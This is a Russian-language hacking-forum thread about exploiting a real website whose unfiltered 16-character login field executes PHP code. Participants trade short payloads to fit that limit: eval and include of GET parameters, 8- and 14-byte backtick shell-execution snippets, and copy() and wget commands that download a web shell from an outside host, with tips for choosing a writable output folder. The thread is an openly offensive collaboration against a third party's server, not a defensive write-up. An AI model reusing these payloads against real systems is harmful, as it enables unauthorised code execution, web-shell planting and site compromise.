![]() |
16 символов :(
На одном ресе обнаружил такую штуку: когда входишь на сайт то на странице пишется "Привет ЛОГИН". так вот, при регистрации в поле логин никакой фильтрации нет и можно указывать любые символы. Облом лишь в том что обработчик формы не регает логины больше 16 символов! :mad:
Подскажите как можно использовать эту уязвимость. работает phpinfo() sleep(), а больше не хватает у меня ни фантазии ни символов |
При register_globals=ON
PHP код:
|
Цитата:
PHP код:
Что то я непробывал просто так присваивать массиву из ниоткуда, что бы он брал из GET запроса. Или я видимо ещё незнал об этом. Если твой пример правильный, дико извеняюсь ;) |
Цитата:
Цитата:
|
eval($_GET[a]); &a=copy('http://shellsite.com/shell.txt','shell.php'); ну в этом стиле.
|
include($_GET['a']) - больше 16 какбе
регистер глобалс по дефолту включён какбе |
Цитата:
Цитата:
|
чёта у меня в на локалхосте по дефолту он был, пшп 5
|
По дефолту уже давно офф, а в шестой версии вроде и вовсе отключат.
|
Цитата:
|
<?eval($_GET[a])?> получается больше 16-ти символов, а
<?eval($a)?> и <?include($a)?> ничо не инклудят, ни локальные файлы ни с других хостов. (в адр строку добавляю &a=mysite.ru/file.txt) Это значит конец? 16 символов мало :( |
Цитата:
По твоему запросу он инклюдит папку mysite.ru/file.txt а не удалённый сервер ;) |
c http результат тот же(
&a=http://mysite.ru/primer.php -выводится страница c Hacking attempt! &a=http://mysite.ru/primer.txt -страница грузится но ничо не инклудится..пишется "Привет, !" |
Инклюдить он заинклюдить
Ну вот может бред. в .htacces Цитата:
|
8 байт <? `$a`;
14 байт <? `$_GET[a]`; |
Цитата:
|
Цитата:
?a=wget+http://google.com/shell.txt если уж совсем не понятно. |
хм.... а ничего если упапки нет прав на запись???? =))))
|
А тебя совершенно не волнует тот факт, что папок все же больше одной? --output-document=
|
| Время: 03:47 |